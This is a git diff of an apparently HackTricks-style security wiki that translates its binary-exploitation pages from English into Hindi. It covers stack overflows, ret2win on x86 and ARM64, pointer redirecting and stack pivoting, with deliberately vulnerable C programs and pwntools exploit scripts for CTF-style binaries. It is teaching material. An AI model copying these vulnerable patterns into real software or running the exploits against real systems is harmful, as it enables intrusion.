-Therefore, if leaked, it's possible to **use this address to access a `sigreturn`** if the binary isn't loading it: - +इसलिए, यदि लीक हो जाए, तो **इस पते का उपयोग `sigreturn` तक पहुँचने के लिए किया जा सकता है** यदि बाइनरी इसे लोड नहीं कर रही है: ```python from pwn import * @@ -176,14 +165,13 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` - -For more info about vdso check: +vdso के बारे में अधिक जानकारी के लिए देखें: {{#ref}} ../ret2vdso.md {{#endref}} -And to bypass the address of `/bin/sh` you could create several env variables pointing to it, for more info: +और `/bin/sh` के पते को बायपास करने के लिए आप इसके लिए कई env वेरिएबल बना सकते हैं, अधिक जानकारी के लिए: {{#ref}} ../../common-binary-protections-and-bypasses/aslr/ diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index 6de6060f2..12c0cad74 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -4,35 +4,32 @@ ## What is a Stack Overflow -A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **overwrite adjacent memory space**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input. +A **stack overflow** एक सुरक्षा कमी है जो तब होती है जब एक प्रोग्राम स्टैक में उस डेटा से अधिक डेटा लिखता है जितना कि उसे रखने के लिए आवंटित किया गया है। यह अतिरिक्त डेटा **सन्निकट मेमोरी स्थान को ओवरराइट** करेगा, जिससे वैध डेटा का भ्रष्टाचार, नियंत्रण प्रवाह में विघटन, और संभावित रूप से दुर्भावनापूर्ण कोड का निष्पादन हो सकता है। यह समस्या अक्सर असुरक्षित कार्यों के उपयोग के कारण उत्पन्न होती है जो इनपुट पर सीमा जांच नहीं करते हैं। -The main problem of this overwrite is that the **saved instruction pointer (EIP/RIP)** and the **saved base pointer (EBP/RBP)** to return to the previous function are **stored on the stack**. Therefore, an attacker will be able to overwrite those and **control the execution flow of the program**. +इस ओवरराइट की मुख्य समस्या यह है कि **सहेजा गया निर्देश सूचकांक (EIP/RIP)** और **सहेजा गया बेस सूचकांक (EBP/RBP)** जो पिछले कार्य में लौटने के लिए हैं, **स्टैक पर संग्रहीत** होते हैं। इसलिए, एक हमलावर उन्हें ओवरराइट करने में सक्षम होगा और **प्रोग्राम के निष्पादन प्रवाह को नियंत्रित** कर सकेगा। -The vulnerability usually arises because a function **copies inside the stack more bytes than the amount allocated for it**, therefore being able to overwrite other parts of the stack. +यह सुरक्षा कमी आमतौर पर इसलिए उत्पन्न होती है क्योंकि एक कार्य **स्टैक के अंदर उन बाइट्स की अधिक संख्या की कॉपी करता है जितनी कि इसके लिए आवंटित की गई है**, जिससे अन्य स्टैक के हिस्सों को ओवरराइट करने में सक्षम होता है। -Some common functions vulnerable to this are: **`strcpy`, `strcat`, `sprintf`, `gets`**... Also, functions like **`fgets`** , **`read` & `memcpy`** that take a **length argument**, might be used in a vulnerable way if the specified length is greater than the allocated one. - -For example, the following functions could be vulnerable: +इससे प्रभावित कुछ सामान्य कार्य हैं: **`strcpy`, `strcat`, `sprintf`, `gets`**... इसके अलावा, ऐसे कार्य जैसे **`fgets`**, **`read` & `memcpy`** जो **लंबाई तर्क** लेते हैं, यदि निर्दिष्ट लंबाई आवंटित लंबाई से अधिक है तो उन्हें असुरक्षित तरीके से उपयोग किया जा सकता है। +उदाहरण के लिए, निम्नलिखित कार्य असुरक्षित हो सकते हैं: ```c void vulnerable() { - char buffer[128]; - printf("Enter some text: "); - gets(buffer); // This is where the vulnerability lies - printf("You entered: %s\n", buffer); +char buffer[128]; +printf("Enter some text: "); +gets(buffer); // This is where the vulnerability lies +printf("You entered: %s\n", buffer); } ``` +### Stack Overflows ऑफसेट्स खोजना -### Finding Stack Overflows offsets +Stack overflows खोजने का सबसे सामान्य तरीका `A`s का बहुत बड़ा इनपुट देना है (जैसे `python3 -c 'print("A"*1000)'`) और एक `Segmentation Fault` की उम्मीद करना जो यह संकेत करता है कि **पता `0x41414141` को एक्सेस करने की कोशिश की गई थी**। -The most common way to find stack overflows is to give a very big input of `A`s (e.g. `python3 -c 'print("A"*1000)'`) and expect a `Segmentation Fault` indicating that the **address `0x41414141` was tried to be accessed**. +इसके अलावा, एक बार जब आप यह पता लगा लेते हैं कि Stack Overflow की कमजोरी है, तो आपको **रिटर्न एड्रेस को ओवरराइट करने** के लिए ऑफसेट खोजना होगा, इसके लिए आमतौर पर **De Bruijn अनुक्रम** का उपयोग किया जाता है। जो एक दिए गए वर्णमाला के आकार _k_ और लंबाई _n_ के उप अनुक्रमों के लिए एक **चक्रीय अनुक्रम है जिसमें लंबाई \_n**\_\*\* के हर संभव उप अनुक्रम** ठीक एक बार** एक सन्निहित उप अनुक्रम के रूप में प्रकट होता है। -Moreover, once you found that there is Stack Overflow vulnerability you will need to find the offset until it's possible to **overwrite the return address**, for this it's usually used a **De Bruijn sequence.** Which for a given alphabet of size _k_ and subsequences of length _n_ is a **cyclic sequence in which every possible subsequence of length \_n**\_\*\* appears exactly once\*\* as a contiguous subsequence. - -This way, instead of needing to figure out which offset is needed to control the EIP by hand, it's possible to use as padding one of these sequences and then find the offset of the bytes that ended overwriting it. - -It's possible to use **pwntools** for this: +इस तरह, EIP को नियंत्रित करने के लिए आवश्यक ऑफसेट को हाथ से खोजने के बजाय, इन अनुक्रमों में से एक को पैडिंग के रूप में उपयोग करना संभव है और फिर उन बाइट्स के ऑफसेट को खोजना संभव है जिन्होंने इसे ओवरराइट किया। +इसके लिए **pwntools** का उपयोग करना संभव है: ```python from pwn import * @@ -44,58 +41,55 @@ eip_value = p32(0x6161616c) offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern print(f"The offset is: {offset}") ``` - -or **GEF**: - +या **GEF**: ```bash #Patterns pattern create 200 #Generate length 200 pattern pattern search "avaaawaa" #Search for the offset of that substring pattern search $rsp #Search the offset given the content of $rsp ``` +## स्टैक ओवरफ्लोज़ का शोषण -## Exploiting Stack Overflows +एक ओवरफ्लो के दौरान (मान लेते हैं कि ओवरफ्लो का आकार पर्याप्त बड़ा है) आप स्टैक के अंदर स्थानीय चर के मानों को **ओवरराइट** करने में सक्षम होंगे जब तक कि सहेजे गए **EBP/RBP और EIP/RIP (या इससे भी अधिक)** तक नहीं पहुँच जाते।\ +इस प्रकार की भेद्यता का दुरुपयोग करने का सबसे सामान्य तरीका **रिटर्न पते को संशोधित करना** है ताकि जब फ़ंक्शन समाप्त हो, तो **नियंत्रण प्रवाह उस पते पर पुनर्निर्देशित हो जाए जो उपयोगकर्ता ने निर्दिष्ट किया है**। -During an overflow (supposing the overflow size if big enough) you will be able to **overwrite** values of local variables inside the stack until reaching the saved **EBP/RBP and EIP/RIP (or even more)**.\ -The most common way to abuse this type of vulnerability is by **modifying the return address** so when the function ends the **control flow will be redirected wherever the user specified** in this pointer. - -However, in other scenarios maybe just **overwriting some variables values in the stack** might be enough for the exploitation (like in easy CTF challenges). +हालांकि, अन्य परिदृश्यों में, केवल **स्टैक में कुछ चर के मानों को ओवरराइट करना** शोषण के लिए पर्याप्त हो सकता है (जैसे आसान CTF चुनौतियों में)। ### Ret2win -In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/) would be disabled) so when the vulnerable function returns, the hidden function will be called: +इस प्रकार की CTF चुनौतियों में, बाइनरी के अंदर एक **फंक्शन** है जो **कभी कॉल नहीं किया जाता** और जिसे **जीतने के लिए आपको कॉल करना है**। इन चुनौतियों के लिए आपको केवल **रिटर्न पते को ओवरराइट करने के लिए ऑफसेट** खोजने की आवश्यकता है और **कॉल करने के लिए फंक्शन का पता** खोजने की आवश्यकता है (आमतौर पर [**ASLR**](../common-binary-protections-and-bypasses/aslr/) अक्षम होगा) ताकि जब कमजोर फ़ंक्शन लौटे, तो छिपा हुआ फ़ंक्शन कॉल किया जाएगा: {{#ref}} ret2win/ {{#endref}} -### Stack Shellcode +### स्टैक शेलकोड -In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code: +इस परिदृश्य में हमलावर स्टैक में एक शेलकोड रख सकता है और नियंत्रित EIP/RIP का दुरुपयोग करके शेलकोड पर कूद सकता है और मनमाने कोड को निष्पादित कर सकता है: {{#ref}} stack-shellcode/ {{#endref}} -### ROP & Ret2... techniques +### ROP & Ret2... तकनीकें -This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary: +यह तकनीक पिछले तकनीक की मुख्य सुरक्षा को बायपास करने के लिए मौलिक ढांचा है: **कोई निष्पादन योग्य स्टैक (NX)**। और यह कई अन्य तकनीकों (ret2lib, ret2syscall...) को निष्पादित करने की अनुमति देती है जो बाइनरी में मौजूदा निर्देशों का दुरुपयोग करके मनमाने आदेशों को निष्पादित करेंगी: {{#ref}} ../rop-return-oriented-programing/ {{#endref}} -## Heap Overflows +## हीप ओवरफ्लोज़ -An overflow is not always going to be in the stack, it could also be in the **heap** for example: +एक ओवरफ्लो हमेशा स्टैक में नहीं होगा, यह **हीप** में भी हो सकता है, उदाहरण के लिए: {{#ref}} ../libc-heap/heap-overflow.md {{#endref}} -## Types of protections +## सुरक्षा के प्रकार -There are several protections trying to prevent the exploitation of vulnerabilities, check them in: +भेद्यताओं के शोषण को रोकने के लिए कई सुरक्षा उपाय हैं, उन्हें देखें: {{#ref}} ../common-binary-protections-and-bypasses/ diff --git a/src/binary-exploitation/stack-overflow/pointer-redirecting.md b/src/binary-exploitation/stack-overflow/pointer-redirecting.md index f92bebd28..dc51a1ef7 100644 --- a/src/binary-exploitation/stack-overflow/pointer-redirecting.md +++ b/src/binary-exploitation/stack-overflow/pointer-redirecting.md @@ -4,21 +4,21 @@ ## String pointers -If a function call is going to use an address of a string that is located in the stack, it's possible to abuse the buffer overflow to **overwrite this address** and put an **address to a different string** inside the binary. +यदि एक फ़ंक्शन कॉल एक स्ट्रिंग के पते का उपयोग करने जा रहा है जो स्टैक में स्थित है, तो बफ़र ओवरफ़्लो का दुरुपयोग करके **इस पते को ओवरराइट करना** और बाइनरी के अंदर **एक अलग स्ट्रिंग का पता डालना** संभव है। -If for example a **`system`** function call is going to **use the address of a string to execute a command**, an attacker could place the **address of a different string in the stack**, **`export PATH=.:$PATH`** and create in the current directory an **script with the name of the first letter of the new string** as this will be executed by the binary. +यदि उदाहरण के लिए एक **`system`** फ़ंक्शन कॉल **एक कमांड निष्पादित करने के लिए एक स्ट्रिंग के पते का उपयोग करने जा रहा है**, तो एक हमलावर **स्टैक में एक अलग स्ट्रिंग का पता रख सकता है**, **`export PATH=.:$PATH`** और वर्तमान निर्देशिका में **नई स्ट्रिंग के पहले अक्षर के नाम वाला एक स्क्रिप्ट बना सकता है** क्योंकि इसे बाइनरी द्वारा निष्पादित किया जाएगा। -You can find an **example** of this in: +आप इसका एक **उदाहरण** यहाँ पा सकते हैं: - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c) - [https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html](https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html) - - 32bit, change address to flags string in the stack so it's printed by `puts` +- 32bit, स्टैक में फ्लैग्स स्ट्रिंग के पते को बदलें ताकि इसे `puts` द्वारा प्रिंट किया जा सके ## Function pointers -Same as string pointer but applying to functions, if the **stack contains the address of a function** that will be called, it's possible to **change it** (e.g. to call **`system`**). +स्ट्रिंग पॉइंटर के समान लेकिन फ़ंक्शंस पर लागू, यदि **स्टैक में एक फ़ंक्शन का पता है** जिसे कॉल किया जाएगा, तो इसे **बदलना** संभव है (जैसे **`system`** को कॉल करना)। -You can find an example in: +आप इसका एक उदाहरण यहाँ पा सकते हैं: - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c) diff --git a/src/binary-exploitation/stack-overflow/ret2win/README.md b/src/binary-exploitation/stack-overflow/ret2win/README.md index 0cad69c6d..a93491cb5 100644 --- a/src/binary-exploitation/stack-overflow/ret2win/README.md +++ b/src/binary-exploitation/stack-overflow/ret2win/README.md @@ -4,47 +4,42 @@ ## Basic Information -**Ret2win** challenges are a popular category in **Capture The Flag (CTF)** competitions, particularly in tasks that involve **binary exploitation**. The goal is to exploit a vulnerability in a given binary to execute a specific, uninvoked function within the binary, often named something like `win`, `flag`, etc. This function, when executed, usually prints out a flag or a success message. The challenge typically involves overwriting the **return address** on the stack to divert execution flow to the desired function. Here's a more detailed explanation with examples: +**Ret2win** चुनौतियाँ **Capture The Flag (CTF)** प्रतियोगिताओं में एक लोकप्रिय श्रेणी हैं, विशेष रूप से उन कार्यों में जो **binary exploitation** से संबंधित हैं। लक्ष्य एक दिए गए बाइनरी में एक कमजोरियों का लाभ उठाना है ताकि बाइनरी के भीतर एक विशिष्ट, अप्रयुक्त फ़ंक्शन को निष्पादित किया जा सके, जिसे अक्सर `win`, `flag`, आदि जैसे नामों से जाना जाता है। जब इस फ़ंक्शन को निष्पादित किया जाता है, तो यह आमतौर पर एक ध्वज या सफलता संदेश प्रिंट करता है। चुनौती आमतौर पर स्टैक पर **return address** को ओवरराइट करने में शामिल होती है ताकि निष्पादन प्रवाह को इच्छित फ़ंक्शन की ओर मोड़ा जा सके। यहाँ एक अधिक विस्तृत व्याख्या है उदाहरणों के साथ: ### C Example -Consider a simple C program with a vulnerability and a `win` function that we intend to call: - +एक साधारण C प्रोग्राम पर विचार करें जिसमें एक कमजोरी और एक `win` फ़ंक्शन है जिसे हम कॉल करने का इरादा रखते हैं: ```c #include #include void win() { - printf("Congratulations! You've called the win function.\n"); +printf("Congratulations! You've called the win function.\n"); } void vulnerable_function() { - char buf[64]; - gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow. +char buf[64]; +gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow. } int main() { - vulnerable_function(); - return 0; +vulnerable_function(); +return 0; } ``` - -To compile this program without stack protections and with **ASLR** disabled, you can use the following command: - +इस प्रोग्राम को स्टैक सुरक्षा के बिना और **ASLR** को निष्क्रिय करके संकलित करने के लिए, आप निम्नलिखित कमांड का उपयोग कर सकते हैं: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` - -- `-m32`: Compile the program as a 32-bit binary (this is optional but common in CTF challenges). -- `-fno-stack-protector`: Disable protections against stack overflows. -- `-z execstack`: Allow execution of code on the stack. -- `-no-pie`: Disable Position Independent Executable to ensure that the address of the `win` function does not change. -- `-o vulnerable`: Name the output file `vulnerable`. +- `-m32`: प्रोग्राम को 32-बिट बाइनरी के रूप में संकलित करें (यह वैकल्पिक है लेकिन CTF चुनौतियों में सामान्य है)। +- `-fno-stack-protector`: स्टैक ओवरफ्लो के खिलाफ सुरक्षा को अक्षम करें। +- `-z execstack`: स्टैक पर कोड के निष्पादन की अनुमति दें। +- `-no-pie`: पोजीशन इंडिपेंडेंट एक्सीक्यूटेबल को अक्षम करें ताकि `win` फ़ंक्शन का पता न बदले। +- `-o vulnerable`: आउटपुट फ़ाइल का नाम `vulnerable` रखें। ### Python Exploit using Pwntools -For the exploit, we'll use **pwntools**, a powerful CTF framework for writing exploits. The exploit script will create a payload to overflow the buffer and overwrite the return address with the address of the `win` function. - +हम एक्सप्लॉइट के लिए **pwntools** का उपयोग करेंगे, जो एक्सप्लॉइट लिखने के लिए एक शक्तिशाली CTF ढांचा है। एक्सप्लॉइट स्क्रिप्ट एक पेलोड बनाएगी जो बफर को ओवरफ्लो करेगा और रिटर्न पते को `win` फ़ंक्शन के पते से ओवरराइट करेगा। ```python from pwn import * @@ -64,49 +59,46 @@ payload = b'A' * 68 + win_addr p.sendline(payload) p.interactive() ``` - -To find the address of the `win` function, you can use **gdb**, **objdump**, or any other tool that allows you to inspect binary files. For instance, with `objdump`, you could use: - +`win` फ़ंक्शन का पता लगाने के लिए, आप **gdb**, **objdump**, या किसी अन्य उपकरण का उपयोग कर सकते हैं जो आपको बाइनरी फ़ाइलों का निरीक्षण करने की अनुमति देता है। उदाहरण के लिए, `objdump` के साथ, आप उपयोग कर सकते हैं: ```sh objdump -d vulnerable | grep win ``` +यह कमांड आपको `win` फ़ंक्शन का असेंबली दिखाएगा, जिसमें इसका प्रारंभिक पता शामिल है। -This command will show you the assembly of the `win` function, including its starting address. +Python स्क्रिप्ट एक सावधानीपूर्वक तैयार किया गया संदेश भेजती है जो, जब `vulnerable_function` द्वारा संसाधित किया जाता है, तो बफर को ओवरफ्लो करता है और स्टैक पर रिटर्न पते को `win` के पते से ओवरराइट करता है। जब `vulnerable_function` लौटता है, तो यह `main` पर लौटने या बाहर निकलने के बजाय `win` पर कूदता है, और संदेश प्रिंट होता है। -The Python script sends a carefully crafted message that, when processed by the `vulnerable_function`, overflows the buffer and overwrites the return address on the stack with the address of `win`. When `vulnerable_function` returns, instead of returning to `main` or exiting, it jumps to `win`, and the message is printed. +## सुरक्षा -## Protections +- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **को बंद किया जाना चाहिए** ताकि पता निष्पादन के दौरान विश्वसनीय हो या जिस पते पर फ़ंक्शन संग्रहीत होगा वह हमेशा एक जैसा नहीं होगा और आपको यह पता लगाने के लिए कुछ लीक की आवश्यकता होगी कि `win` फ़ंक्शन कहाँ लोड है। कुछ मामलों में, जब ओवरफ्लो का कारण बनने वाला फ़ंक्शन `read` या समान होता है, तो आप रिटर्न पते को `win` फ़ंक्शन में बदलने के लिए 1 या 2 बाइट का **आंशिक ओवरराइट** कर सकते हैं। ASLR के काम करने के तरीके के कारण, अंतिम तीन हेक्स निबल यादृच्छिक नहीं होते हैं, इसलिए सही रिटर्न पते को प्राप्त करने का **1/16 मौका** (1 निबल) होता है। +- [**स्टैक कैनरीज़**](../../common-binary-protections-and-bypasses/stack-canaries/) को भी बंद किया जाना चाहिए या समझौता किया गया EIP रिटर्न पता कभी नहीं होगा। -- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. In some cases, when the function that causes the overflow is `read` or similar, you can do a **Partial Overwrite** of 1 or 2 bytes to change the return address to be the win function. Because of how ASLR works, the last three hex nibbles are not randomized, so there is a **1/16 chance** (1 nibble) to get the correct return address. -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed. - -## Other examples & References +## अन्य उदाहरण और संदर्भ - [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win) - [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html) - - 32bit, no ASLR +- 32bit, कोई ASLR नहीं - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html) - - 64 bits with ASLR, with a leak of the bin address +- 64 बिट ASLR के साथ, बिन पते का लीक - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html) - - 64 bits, no ASLR +- 64 बिट, कोई ASLR नहीं - [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html) - - 32 bits, no ASLR, double small overflow, first to overflow the stack and enlarge the size of the second overflow +- 32 बिट, कोई ASLR नहीं, डबल स्मॉल ओवरफ्लो, पहले स्टैक को ओवरफ्लो करना और दूसरे ओवरफ्लो के आकार को बढ़ाना - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - - 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win) +- 32 बिट, relro, कोई कैनरी नहीं, nx, कोई pie नहीं, `fflush` के पते को `win` फ़ंक्शन (ret2win) के साथ ओवरराइट करने के लिए फॉर्मेट स्ट्रिंग - [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html) - - 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function +- 32 बिट, nx, कुछ और नहीं, `win` फ़ंक्शन को कॉल करने के लिए EIP का आंशिक ओवरराइट (1Byte) - [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html) - - 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function +- 32 बिट, nx, कुछ और नहीं, `win` फ़ंक्शन को कॉल करने के लिए EIP का आंशिक ओवरराइट (1Byte) - [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) - - The program is only validating the last byte of a number to check for the size of the input, therefore it's possible to add any zie as long as the last byte is inside the allowed range. Then, the input creates a buffer overflow exploited with a ret2win. +- प्रोग्राम केवल एक संख्या के अंतिम बाइट को इनपुट के आकार की जांच के लिए मान्य कर रहा है, इसलिए यह संभव है कि अंतिम बाइट अनुमत सीमा के भीतर हो। फिर, इनपुट एक बफर ओवरफ्लो बनाता है जिसे ret2win के साथ शोषण किया जाता है। - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/) - - 64 bit, relro, no canary, nx, pie. Partial overwrite to call the win function (ret2win) +- 64 बिट, relro, कोई कैनरी नहीं, nx, pie। `win` फ़ंक्शन (ret2win) को कॉल करने के लिए आंशिक ओवरराइट - [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/) - - arm64, PIE, it gives a PIE leak the win function is actually 2 functions so ROP gadget that calls 2 functions +- arm64, PIE, यह एक PIE लीक देता है `win` फ़ंक्शन वास्तव में 2 फ़ंक्शन हैं इसलिए ROP गैजेट जो 2 फ़ंक्शन को कॉल करता है - [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) - - ARM64, off-by-one to call a win function +- ARM64, ऑफ-बाय-वन `win` फ़ंक्शन को कॉल करने के लिए -## ARM64 Example +## ARM64 उदाहरण {{#ref}} ret2win-arm64.md diff --git a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md index 410cf5cf0..bf8655672 100644 --- a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md +++ b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md @@ -2,109 +2,94 @@ {{#include ../../../banners/hacktricks-training.md}} -Find an introduction to arm64 in: +arm64 का परिचय यहाँ खोजें: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} ## Code - ```c #include #include void win() { - printf("Congratulations!\n"); +printf("Congratulations!\n"); } void vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability } int main() { - vulnerable_function(); - return 0; +vulnerable_function(); +return 0; } ``` - -Compile without pie and canary: - +पीआईई और कैनरी के बिना संकलित करें: ```bash clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie ``` +## ऑफसेट खोजना -## Finding the offset +### पैटर्न विकल्प -### Pattern option - -This example was created using [**GEF**](https://github.com/bata24/gef): - -Stat gdb with gef, create pattern and use it: +यह उदाहरण [**GEF**](https://github.com/bata24/gef) का उपयोग करके बनाया गया था: +gef के साथ gdb शुरू करें, पैटर्न बनाएं और इसका उपयोग करें: ```bash gdb -q ./ret2win pattern create 200 run ``` -
-arm64 will try to return to the address in the register x30 (which was compromised), we can use that to find the pattern offset: - +arm64 x30 रजिस्टर में पते पर लौटने की कोशिश करेगा (जो कि समझौता किया गया था), हम इसका उपयोग पैटर्न ऑफसेट खोजने के लिए कर सकते हैं: ```bash pattern search $x30 ``` -
-**The offset is 72 (9x48).** +**ऑफसेट 72 है (9x48)।** -### Stack offset option - -Start by getting the stack address where the pc register is stored: +### स्टैक ऑफसेट विकल्प +स्टैक पते को प्राप्त करने से शुरू करें जहां pc रजिस्टर संग्रहीत है: ```bash gdb -q ./ret2win b *vulnerable_function + 0xc run info frame ``` -
-Now set a breakpoint after the `read()` and continue until the `read()` is executed and set a pattern such as 13371337: - +अब `read()` के बाद एक ब्रेकपॉइंट सेट करें और तब तक जारी रखें जब तक `read()` निष्पादित न हो जाए और एक पैटर्न सेट करें जैसे 13371337: ``` b *vulnerable_function+28 c ``` -
-Find where this pattern is stored in memory: +इस पैटर्न को मेमोरी में कहाँ स्टोर किया गया है, इसे खोजें:
-Then: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`** +फिर: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
## No PIE -### Regular - -Get the address of the **`win`** function: +### नियमित +**`win`** फ़ंक्शन का पता प्राप्त करें: ```bash objdump -d ret2win | grep win ret2win: file format elf64-littleaarch64 00000000004006c4 : ``` - -Exploit: - +शोषण: ```python from pwn import * @@ -124,13 +109,11 @@ p.send(payload) print(p.recvline()) p.close() ``` -
### Off-by-1 -Actually this is going to by more like a off-by-2 in the stored PC in the stack. Instead of overwriting all the return address we are going to overwrite **only the last 2 bytes** with `0x06c4`. - +वास्तव में, यह स्टैक में संग्रहीत PC में ऑफ-बाय-2 के समान होगा। सभी रिटर्न पते को ओवरराइट करने के बजाय, हम **केवल अंतिम 2 बाइट्स** को `0x06c4` के साथ ओवरराइट करने जा रहे हैं। ```python from pwn import * @@ -150,22 +133,20 @@ p.send(payload) print(p.recvline()) p.close() ``` -
-You can find another off-by-one example in ARM64 in [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), which is a real off-by-**one** in a fictitious vulnerability. +आप ARM64 में एक और off-by-one उदाहरण [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) में पा सकते हैं, जो एक काल्पनिक भेद्यता में वास्तविक off-by-**one** है। ## With PIE > [!TIP] -> Compile the binary **without the `-no-pie` argument** +> बाइनरी को **`-no-pie` तर्क के बिना संकलित करें** ### Off-by-2 -Without a leak we don't know the exact address of the winning function but we can know the offset of the function from the binary and knowing that the return address we are overwriting is already pointing to a close address, it's possible to leak the offset to the win function (**0x7d4**) in this case and just use that offset: +लीक के बिना हमें जीतने वाले फ़ंक्शन का सटीक पता नहीं पता है लेकिन हम बाइनरी से फ़ंक्शन का ऑफ़सेट जान सकते हैं और यह जानते हुए कि हम जो रिटर्न पता ओवरराइट कर रहे हैं वह पहले से ही एक निकटवर्ती पते की ओर इशारा कर रहा है, इस मामले में जीतने वाले फ़ंक्शन (**0x7d4**) के लिए ऑफ़सेट लीक करना संभव है और बस उस ऑफ़सेट का उपयोग करें:
- ```python from pwn import * @@ -185,5 +166,4 @@ p.send(payload) print(p.recvline()) p.close() ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md index a786dea8e..b18bf3bbc 100644 --- a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md +++ b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md @@ -4,62 +4,59 @@ ## Basic Information -This technique exploits the ability to manipulate the **Base Pointer (EBP)** to chain the execution of multiple functions through careful use of the EBP register and the **`leave; ret`** instruction sequence. - -As a reminder, **`leave`** basically means: +यह तकनीक **Base Pointer (EBP)** को नियंत्रित करने की क्षमता का लाभ उठाती है ताकि EBP रजिस्टर और **`leave; ret`** निर्देश अनुक्रम के सावधानीपूर्वक उपयोग के माध्यम से कई कार्यों के निष्पादन को श्रृंखला में जोड़ा जा सके। +याद दिलाने के लिए, **`leave`** का मूल अर्थ है: ``` mov ebp, esp pop ebp ret ``` - -And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack. +और चूंकि **EBP स्टैक में** EIP से पहले है, इसलिए इसे नियंत्रित करना संभव है स्टैक को नियंत्रित करके। ### EBP2Ret -This technique is particularly useful when you can 